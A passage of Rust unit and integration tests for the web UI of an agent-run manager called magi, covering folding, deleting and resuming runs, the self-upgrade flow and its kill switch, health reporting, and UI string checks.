7715 assert!(APP_JS.contains("deleteTask:"));
7716
7717 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7719 ..APP_JS.find("function renderRuns").unwrap()];
7720 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7721
7722 assert!(APP_JS.contains("renderRunDelete"));
7724 assert!(APP_JS.contains("runDeleteReason"));
7725 assert!(APP_JS.contains("magi fold"));
7726 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7727
7728 assert!(APP_JS.contains("cancel.focus"));
7730 assert!(APP_JS.contains("armedRunDelete"));
7731 assert!(APP_JS.contains("armedDelete"));
7732
7733 assert!(APP_JS.contains("disabled: status === \"running\""));
7735 }
7736
7737 #[test]
7757 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7758 let build = APP_JS
7759 .find("function createRunCard")
7760 .expect("createRunCard exists");
7761 let update = APP_JS
7762 .find("function updateRunCard")
7763 .expect("updateRunCard exists");
7764 let end = APP_JS
7765 .find("function renderRuns")
7766 .expect("renderRuns exists");
7767
7768 let builder = &APP_JS[build..update];
7770 let open = builder.find("refs = {").expect("createRunCard sets refs");
7771 let literal = &builder[open + "refs = {".len()..];
7772 let close = literal.find('}').expect("the refs literal is closed");
7773 let published: HashSet<&str> = literal[..close]
7774 .split(',')
7775 .filter_map(|entry| entry.split(':').next())
7777 .map(str::trim)
7778 .filter(|name| !name.is_empty())
7779 .collect();
7780 assert!(
7781 published.len() > 5,
7782 "the refs literal did not parse into names: {published:?}"
7783 );
7784
7785 let mut used: Vec<&str> = Vec::new();
7788 let updaters = &APP_JS[update..end];
7789 for (at, _) in updaters.match_indices("r.") {
7790 let before = updaters[..at].chars().next_back();
7793 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7794 continue;
7795 }
7796 let rest = &updaters[at + 2..];
7797 let len = rest
7798 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7799 .unwrap_or(rest.len());
7800 if len > 0 {
7801 used.push(&rest[..len]);
7802 }
7803 }
7804 assert!(
7805 used.len() > 5,
7806 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7807 );
7808
7809 let missing: Vec<&str> = used
7810 .iter()
7811 .copied()
7812 .filter(|name| !published.contains(name))
7813 .collect();
7814 assert!(
7815 missing.is_empty(),
7816 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7817 never put in `refs` - every card will throw and the list will \
7818 render empty under a count line that says otherwise. Published: \
7819 {published:?}"
7820 );
7821 }
7822
7823 #[tokio::test]
7824 async fn folding_from_the_phone_reports_what_it_removed() {
7825 let fx = Fixture::start().await;
7826 let runs = fx.runs();
7827
7828 let id = "20260901-000000-fold";
7832 write_run(&runs, id, RunStatus::Stalled);
7833 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7834 assert_eq!(res.status, 200);
7835 assert_eq!(res.json()["removed_count"], 0);
7836 assert_eq!(res.json()["run"], id);
7837 assert!(
7838 runs.join(id).exists(),
7839 "a fold keeps the run's record; only the worktrees go"
7840 );
7841 }
7842
7843 #[tokio::test]
7844 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7845 let fx = Fixture::start().await;
7846 let runs = fx.runs();
7847 let wt = fx.home.path().join("wt").join("magi").join("dead");
7848 let id = "20260901-000000-dead";
7849 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7850 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7851 std::fs::create_dir_all(&wt).expect("worktree dir");
7852
7853 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7854 assert_eq!(res.status, 200, "{}", res.body);
7855 assert!(
7856 res.json()["removed_count"].as_u64().unwrap() > 0,
7857 "the worktree this build could not read a state for still went"
7858 );
7859 assert!(
7860 !runs.join(id).exists(),
7861 "an unreadable run has no candidate list to fold selectively, so \
7862 the whole record goes - same as `magi fold` on the CLI"
7863 );
7864 }
7865
7866 #[tokio::test]
7867 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7868 let fx = Fixture::start().await;
7869 let runs = fx.runs();
7870 let wt = fx.home.path().join("wt").join("magi").join("gone");
7871 let id = "20260901-000000-gone";
7872 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7873 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7874 std::fs::create_dir_all(&wt).expect("worktree dir");
7875
7876 let res = fx.delete(&format!("/api/runs/{id}")).await;
7877 assert_eq!(res.status, 204, "{}", res.body);
7878 assert!(!runs.join(id).exists(), "the broken record is gone");
7879 assert!(!wt.exists(), "its worktree is gone too");
7880 }
7881
7882 #[tokio::test]
7883 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7884 let fx = Fixture::start().await;
7885 let runs = fx.runs();
7886 let id = "20260901-000000-live";
7887 write_run(&runs, id, RunStatus::Implementing);
7888
7889 let mut beat = crate::daemon::Status::new();
7890 beat.current = vec![crate::daemon::Current {
7891 task: "20260901-000000-task".to_owned(),
7892 run: id.to_owned(),
7893 }];
7894 beat.updated_at = jiff::Timestamp::now();
7895 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7896 .expect("publish a heartbeat");
7897
7898 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7899 assert_eq!(res.status, 409);
7900 assert!(
7901 res.json()["error"]
7902 .as_str()
7903 .unwrap()
7904 .contains("live daemon"),
7905 "folding under a running agent would pull its worktree away"
7906 );
7907 }
7908
7909 #[tokio::test]
7910 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7911 let fx = Fixture::start().await;
7912 let runs = fx.runs();
7913
7914 for (status, word) in [
7920 (RunStatus::Merged, "merged"),
7921 (RunStatus::Ready, "ready"),
7922 (RunStatus::Failed, "failed"),
7923 ] {
7924 let id = format!("20260901-000000-{}", &word[..4]);
7925 write_run(&runs, &id, status);
7926 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7927 assert_eq!(res.status, 409, "{word} must not be resumable");
7928 let err = res.json()["error"].as_str().unwrap().to_owned();
7929 assert!(err.contains(word), "the refusal names the status: {err}");
7930 }
7931
7932 let mid = "20260901-000000-midf";
7937 write_run(&runs, mid, RunStatus::Reviewing);
7938 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7939 assert_eq!(res.status, 202, "an interrupted run is resumable");
7940 }
7941
7942 #[tokio::test]
7943 async fn resume_is_refused_while_the_loop_is_running() {
7944 let fx = Fixture::start().await;
7945 let runs = fx.runs();
7946 let stalled = "20260901-000000-stal";
7947 write_run(&runs, stalled, RunStatus::Stalled);
7948
7949 let mut beat = crate::daemon::Status::new();
7953 beat.current = vec![crate::daemon::Current {
7954 task: "20260901-000000-task".to_owned(),
7955 run: "20260901-000000-othr".to_owned(),
7956 }];
7957 beat.updated_at = jiff::Timestamp::now();
7958 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7959 .expect("publish a heartbeat");
7960
7961 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7962 assert_eq!(res.status, 409);
7963 let err = res.json()["error"].as_str().unwrap().to_owned();
7964 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7965 assert!(err.contains("stop it first"), "{err}");
7966 }
7967
7968 #[test]
7969 fn a_run_cannot_be_resumed_twice_at_once() {
7970 let home = TempDir::new().expect("temp home");
7971 let ui = Ui::new(
7972 Queue::at(home.path().join("queue")),
7973 Questions::at(home.path().join("questions")),
7974 Talks::at(home.path().join("talks")),
7975 home.path().join("runs"),
7976 home.path().to_path_buf(),
7977 PathBuf::from("/repo"),
7978 )
7979 .with_worktrees_root(home.path().join("wt"));
7980 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7981 let again = ui.begin_resume("20260901-000000-once");
7982 assert!(again.is_err(), "a second tap must not start a second graph");
7983 drop(first);
7984 assert!(
7985 ui.begin_resume("20260901-000000-once").is_ok(),
7986 "and the claim is released when the attempt ends"
7987 );
7988 }
7989
7990 #[test]
7991 fn talk_thinking_tracks_only_its_held_turn_claim() {
7992 let home = TempDir::new().expect("temp home");
7993 let ui = Ui::new(
7994 Queue::at(home.path().join("queue")),
7995 Questions::at(home.path().join("questions")),
7996 Talks::at(home.path().join("talks")),
7997 home.path().join("runs"),
7998 home.path().to_path_buf(),
7999 PathBuf::from("/repo"),
8000 )
8001 .with_worktrees_root(home.path().join("wt"));
8002 let id = "20260901-000000-once";
8003
8004 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8005 let turn = ui.begin_talk_turn(id).expect("claim turn");
8006 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8007 assert!(
8008 !ui.is_thinking("20260901-000000-other"),
8009 "one talk's turn does not make another talk busy"
8010 );
8011 drop(turn);
8012 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8013 }
8014
8015 #[tokio::test]
8016 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8017 let fx = Fixture::start().await;
8018 let mut beat = crate::daemon::Status::new();
8022 beat.pid = 4321;
8023 beat.updated_at = jiff::Timestamp::now();
8024 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8025 .expect("publish a heartbeat");
8026
8027 let res = fx.post("/api/upgrade", None).await;
8028 assert_eq!(res.status, 409);
8029 let err = res.json()["error"].as_str().unwrap().to_owned();
8030 assert!(err.contains("4321"), "the refusal names the owner: {err}");
8031 assert!(err.contains("old one against the same queue"), "{err}");
8032 }
8033
8034 #[test]
8041 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8042 assert!(!should_spawn_recheck(&crate::config::Update {
8043 mode: UpdateMode::Off,
8044 interval: None,
8045 }));
8046
8047 unsafe {
8050 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8051 }
8052 let killed = should_spawn_recheck(&crate::config::Update {
8053 mode: UpdateMode::Notify,
8054 interval: None,
8055 });
8056 unsafe {
8057 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8058 }
8059 assert!(
8060 !killed,
8061 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8062 one-time startup check"
8063 );
8064
8065 assert!(should_spawn_recheck(&crate::config::Update {
8066 mode: UpdateMode::Notify,
8067 interval: None,
8068 }));
8069 }
8070
8071 #[test]
8077 fn recheck_poll_period_tracks_a_short_configured_interval() {
8078 let short = crate::config::Update {
8079 mode: UpdateMode::Notify,
8080 interval: Some("1m".to_owned()),
8081 };
8082 let period = recheck_poll_period(&short);
8083 assert!(
8084 period <= Duration::from_secs(30),
8085 "a one-minute interval must wake the task far sooner than the \
8086 default ceiling, or the deck would not notice within the \
8087 interval the operator configured: got {period:?}"
8088 );
8089
8090 let default = crate::config::Update {
8091 mode: UpdateMode::Notify,
8092 interval: None,
8093 };
8094 assert_eq!(
8095 recheck_poll_period(&default),
8096 UPDATE_RECHECK_POLL_MAX,
8097 "the default day-long interval should poll at the (capped) \
8098 ceiling rather than needlessly often"
8099 );
8100 }
8101
8102 #[test]
8110 fn recheck_skips_the_network_before_the_interval_elapses() {
8111 let dir = TempDir::new().expect("temp dir");
8112 let path = dir.path().join("state.json");
8113 let state = kaishin::UpdateCheckState {
8114 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8115 last_known_latest: None,
8116 last_known_url: None,
8117 };
8118 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8119
8120 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8121 assert!(
8122 !update_recheck_due(&checker, None),
8123 "a check made moments ago must not be repeated before the \
8124 configured interval elapses"
8125 );
8126 }
8127
8128 #[test]
8134 fn recheck_defers_to_an_upgrade_already_in_flight() {
8135 let dir = TempDir::new().expect("temp dir");
8136 let path = dir.path().join("state.json");
8137 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8138 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8139
8140 assert!(
8141 !update_recheck_due(&checker, Some(&progress)),
8142 "a recheck must not run while an upgrade this deck started is \
8143 still moving"
8144 );
8145 }
8146
8147 #[tokio::test]
8148 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8149 unsafe {
8161 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8162 }
8163 let fx = Fixture::start().await;
8164 let res = fx.post("/api/upgrade", None).await;
8165 unsafe {
8166 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8167 }
8168 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8169 let body = res.json();
8170 assert!(body["to"].is_null(), "there was no release to move to");
8171 assert!(body["parked"].is_null(), "and nothing was parked");
8172 assert!(
8173 body["detail"]
8174 .as_str()
8175 .unwrap()
8176 .contains("disabled by MAGI_NO_AUTOUPDATE"),
8177 "{body:?}"
8178 );
8179 }
8180
8181 #[tokio::test]
8182 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8183 let repo = TempDir::new().expect("repo dir");
8199 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8200 .expect("write magi.toml");
8201 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8202
8203 let res = fx.post("/api/upgrade", None).await;
8209 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8210 let body = res.json();
8211 assert!(body["to"].is_null(), "there was no release to move to");
8212 assert!(body["parked"].is_null(), "and nothing was parked");
8213 assert!(
8214 body["detail"]
8215 .as_str()
8216 .unwrap()
8217 .contains("nothing restarted"),
8218 "{body:?}"
8219 );
8220 }
8221
8222 #[tokio::test]
8223 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8224 let repo = TempDir::new().expect("repo dir");
8229 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8230 .expect("write magi.toml");
8231 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8232
8233 let health = fx.get("/api/health").await.json();
8234 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8235 assert_eq!(
8236 health["update"]["available"], false,
8237 "checking is off, which reads as \"unknown\", not \"none\""
8238 );
8239 assert!(health["update"]["to"].is_null());
8240 assert!(
8241 health["upgrade"].is_null(),
8242 "nothing has ever asked this deck to upgrade"
8243 );
8244 }
8245
8246 #[tokio::test]
8247 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8248 let fx = Fixture::start().await;
8249 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8250
8251 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8252 progress.parked_run = Some("20260905-000000-cd51".to_owned());
8253 progress.advance(crate::updater::Stage::Parking);
8254 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8255
8256 let health = fx.get("/api/health").await.json();
8257 assert_eq!(health["upgrade"]["stage"], "parking");
8258 assert_eq!(health["upgrade"]["from"], "0.5.1");
8259 assert_eq!(health["upgrade"]["to"], "0.5.2");
8260 let waiting_on = health["upgrade"]["waiting_on"]
8261 .as_str()
8262 .expect("waiting_on is set while parking a known run");
8263 assert!(waiting_on.contains("cd51"), "{waiting_on}");
8264 assert!(waiting_on.contains("implementing"), "{waiting_on}");
8265 }
8266
8267 #[tokio::test]
8268 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8269 let fx = Fixture::start().await;
8270 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8271 progress.advance(crate::updater::Stage::Done);
8272 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8273
8274 let health = fx.get("/api/health").await.json();
8275 assert_eq!(health["upgrade"]["stage"], "done");
8276 assert!(
8277 health["upgrade"]["waiting_on"].is_null(),
8278 "nothing to wait on once it is done"
8279 );
8280 }
8281
8282 #[tokio::test]
8283 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8284 let home = TempDir::new().expect("temp home");
8285 let runs = home.path().join("runs");
8286 std::fs::create_dir_all(&runs).expect("runs dir");
8287 let ui = Ui::new(
8288 Queue::at(home.path().join("queue")),
8289 Questions::at(home.path().join("questions")),
8290 Talks::at(home.path().join("talks")),
8291 runs,
8292 home.path().to_path_buf(),
8293 PathBuf::from("/repo/magi"),
8294 )
8295 .with_launch(launch_idle);
8296 let looping = ui.looping();
8297 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8298 .await
8299 .expect("bind loopback");
8300 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8301
8302 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8303 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8304
8305 hand_over(home.path(), &looping, served, || Ok(()))
8306 .await
8307 .expect("hand over");
8308
8309 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8310 assert_eq!(
8311 after.stage,
8312 crate::updater::Stage::Restarting,
8313 "hand_over owns the record through parking and up to restarting; \
8314 the successor is what finishes it"
8315 );
8316 }
8317
8318 #[test]
8319 fn the_upgrade_button_arms_before_it_restarts_anything() {
8320 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8323 assert!(APP_JS.contains("Replace the binary and restart?"));
8324 assert!(APP_JS.contains("function confirmed("));
8325 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8330 assert!(
8334 APP_JS.contains("Parking, then restarting"),
8335 "the button says what it is waiting for"
8336 );
8337 assert!(APP_JS.contains("if (!out.to)"));
8340 }
8341
8342 #[test]
8343 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8344 assert!(
8345 APP_JS.contains("state.health.version"),
8346 "the operator wants to know what is running even with nothing newer"
8347 );
8348 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8349 }
8350
8351 #[test]
8352 fn the_upgrade_button_names_its_destination() {
8353 assert!(
8354 APP_JS.contains("`Update to ${update.to}`"),
8355 "pressing the button should not be a surprise about what it moves to"
8356 );
8357 }
8358
8359 #[test]
8360 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8361 for stage in ["downloading", "replaced", "parking", "restarting"] {
8362 assert!(
8363 APP_JS.contains(&format!("\"{stage}\"")),
8364 "the phone must be able to tell {stage} apart from the others"
8365 );
8366 }
8367 assert!(APP_JS.contains(".waiting_on"));
8368 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8373 assert!(APP_JS.contains("reconnects on its own"));
8374 }
8375
8376 #[test]
8377 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8378 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8387 ..APP_JS.find("function upgrade(").expect("upgrade")];
8388 assert!(
8389 !body.contains(
8390 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8391 ),
8392 "a failed upgrade must not take the whole strip over the way it used to"
8393 );
8394 assert!(
8395 body.contains("upgradeFailNote"),
8396 "the failure has to reach the loop's own note instead"
8397 );
8398 assert_eq!(
8402 body.matches("upgradeFailNote].filter(Boolean).join")
8403 .count(),
8404 2,
8405 "both loop-why writers (quiet and control) must fold the note in"
8406 );
8407 }
8408
8409 #[test]
8410 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8411 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8414 assert!(APP_JS.contains("function upgradeOverdue("));
8415 }
8416
8417 #[test]
8418 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8419 assert!(
8420 APP_JS.contains("Updated to ${upgradeInfo.to"),
8421 "the operator who asked for the restart wants to know it worked"
8422 );
8423 }
8424
8425 #[test]
8426 fn an_error_is_visible_from_where_the_button_is() {
8427 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8432 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8433 assert!(
8434 alert.contains("position: fixed"),
8435 "an error about the thing under your thumb has to be visible from \
8436 where your thumb is: {alert}"
8437 );
8438 assert!(
8439 alert.contains("z-index: 25"),
8440 "above the dock (20) and the run-actions FAB (15), so neither \
8441 buries it: {alert}"
8442 );
8443 assert!(
8444 alert.contains("var(--tap)"),
8445 "and clear of the dock and the home indicator: {alert}"
8446 );
8447 assert!(
8450 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8451 "the FAB's column stays free: {alert}"
8452 );
8453 }
8454
8455 #[tokio::test]
8456 async fn an_older_attempt_says_what_replaced_it() {
8457 let fx = Fixture::start().await;
8458 let q = fx.queue();
8459 let runs = fx.runs();
8460 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8461 write_run(&runs, first, RunStatus::Stalled);
8462 write_run(&runs, second, RunStatus::Blocked);
8463
8464 let mut t = Task::new(
8465 "one task".to_owned(),
8466 "do it".to_owned(),
8467 PathBuf::from("/repo"),
8468 Source::Human,
8469 );
8470 t.runs = vec![first.to_owned(), second.to_owned()];
8471 q.put(&mut t).expect("put");
8472
8473 let rows = fx.get("/api/runs").await.json();
8477 let by = |short: &str| -> Value {
8478 rows.as_array()
8479 .unwrap()
8480 .iter()
8481 .find(|r| r["short"] == short)
8482 .cloned()
8483 .unwrap_or(Value::Null)
8484 };
8485 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8486 assert!(
8487 by("bbbb")["superseded_by"].is_null(),
8488 "the latest attempt is not superseded by anything"
8489 );
8490 assert!(APP_JS.contains("run.superseded_by"));
8492 assert!(APP_JS.contains("Superseded by"));
8493 }
8494
8495 #[tokio::test]
8496 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8497 let fx = Fixture::start().await;
8498 let js = fx.get("/app.js").await;
8504 assert_eq!(js.status, 200);
8505 let tag = js
8506 .header("etag")
8507 .expect("an etag to revalidate against")
8508 .to_owned();
8509 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8510 assert_eq!(
8511 js.header("cache-control"),
8512 Some("no-cache, must-revalidate"),
8513 "the phone has to ask every time"
8514 );
8515
8516 let again = fx
8519 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8520 .await;
8521 assert_eq!(
8522 again.status, 304,
8523 "a deck it already has costs one round trip"
8524 );
8525 assert!(again.body.is_empty(), "304 carries no body");
8526
8527 let weak = fx
8530 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8531 .await;
8532 assert_eq!(weak.status, 304);
8533 let stale = fx
8534 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8535 .await;
8536 assert_eq!(stale.status, 200, "an older build must be replaced");
8537 assert!(stale.body.contains("renderRunActions"));
8538 }
8539
8540 #[test]
8541 fn the_deck_never_sends_the_operator_to_a_terminal() {
8542 assert!(
8545 !APP_JS.contains("Run `magi fold` first"),
8546 "the deck must offer the fold, not prescribe a shell command"
8547 );
8548 assert!(APP_JS.contains("foldRun:"));
8549 assert!(APP_JS.contains("resumeRun:"));
8550 assert!(APP_JS.contains("renderRunActions"));
8551
8552 assert!(APP_JS.contains("armedFold"));
8554 assert!(APP_JS.contains("Yes, fold worktrees"));
8555
8556 assert!(APP_JS.contains("can no longer be resumed"));
8559 }
8560
8561 #[test]
8562 fn a_finished_run_explains_itself_with_its_own_last_line() {
8563 assert!(
8569 !APP_JS.contains("collapsed on agent quota"),
8570 "a stall must not be explained by a cause the deck did not check"
8571 );
8572 assert!(
8573 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8574 "and a block must not offer a guess with an `or` in it"
8575 );
8576
8577 assert!(
8581 APP_JS.contains("setText(r.event, run.event || \"\")"),
8582 "the run's last line is rendered unconditionally"
8583 );
8584 assert!(
8585 !APP_JS.contains("moving && run.event"),
8586 "and never gated on the run still moving"
8587 );
8588
8589 assert!(APP_JS.contains("lost to quota"));
8591 }
8592
8593 #[test]
8615 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8616 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8617 let shapes_body_start =
8618 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8619 let shapes_close = APP_JS[shapes_body_start..]
8620 .find("].map(")
8621 .expect("the shape list is closed by its done-computing .map(...)")
8622 + shapes_body_start;
8623 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8624
8625 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
8626 for entry in shapes_src.split('{').skip(1) {
8627 let waiting = entry.contains("waiting: true");
8628 let dead = entry.contains("live: \"dead\"");
8629 let status_at =
8630 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8631 let status_end = entry[status_at..]
8632 .find('"')
8633 .expect("the status string is closed")
8634 + status_at;
8635 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
8636 }
8637 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8638
8639 let done_rule_marker = "done: !";
8643 let done_rule_at = APP_JS[shapes_close..]
8644 .find(done_rule_marker)
8645 .expect("the done rule follows the shape list")
8646 + shapes_close
8647 + done_rule_marker.len();
8648 let includes_at = APP_JS[done_rule_at..]
8649 .find(".includes(shape.status)")
8650 .expect("the done rule ends in .includes(shape.status)")
8651 + done_rule_at;
8652 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8653 .trim()
8654 .trim_start_matches('[')
8655 .trim_end_matches(']')
8656 .split(',')
8657 .map(|s| s.trim().trim_matches('"'))
8658 .filter(|s| !s.is_empty())
8659 .collect();
8660
8661 let shapes: Vec<(bool, String, bool, bool)> = shapes
8662 .into_iter()
8663 .map(|(waiting, status, dead)| {
8664 let done = !not_done.contains(&status.as_str());
8665 (waiting, status, dead, done)
8666 })
8667 .collect();
8668
8669 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
8673 if waiting {
8674 return "waiting";
8675 }
8676 if dead
8677 && !matches!(
8678 status,
8679 "merged" | "ready" | "stalled" | "blocked" | "failed" | "verified_noop"
8680 )
8681 {
8682 return "stale";
8683 }
8684 match status {
8685 "merged" | "ready" => "landed",
8686 "stalled" | "blocked" | "failed" | "verified_noop" => "ended",
8687 _ => "flight",
8688 }
8689 }
8690
8691 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
8694 match filter_key {
8695 "active" => !done,
8696 "flight" => !done && !waiting && !dead,
8697 "stale" => !done && !waiting && dead,
8698 "waiting" => waiting,
8699 "done" => done,
8700 "all" => true,
8701 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8702 }
8703 }
8704
8705 let compatible = |section: &str, filter_key: &str| {
8706 shapes.iter().any(|(waiting, status, dead, done)| {
8707 run_section(*waiting, status, *dead) == section
8708 && filter_matches(filter_key, *waiting, *dead, *done)
8709 })
8710 };
8711
8712 let expected = [
8717 ("waiting", [true, false, false, true, true, true]),
8718 ("stale", [true, false, true, false, false, true]),
8719 ("flight", [true, true, false, false, false, true]),
8720 ("landed", [false, false, false, false, true, true]),
8721 ("ended", [false, false, false, false, true, true]),
8722 ];
8723 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
8724
8725 for (section, wants) in expected {
8726 for (filter_key, want) in filter_keys.iter().zip(wants) {
8727 assert_eq!(
8728 compatible(section, filter_key),
8729 want,
8730 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8731 );
8732 }
8733 }
8734
8735 assert!(
8738 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8739 );
8740 assert!(APP_JS.contains(
8741 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8742 ));
8743 assert!(APP_JS.contains(
8744 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8745 ));
8746 }
8747
8748 #[tokio::test]
8749 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
8750 let dir = tempfile::tempdir().expect("tempdir");
8754 let explicit = dir.path().join("not-a-checkout");
8755 std::fs::create_dir_all(&explicit).expect("create dir");
8756 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
8757
8758 let missing = dir.path().join("does-not-exist-at-all");
8759 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
8760 }
8761}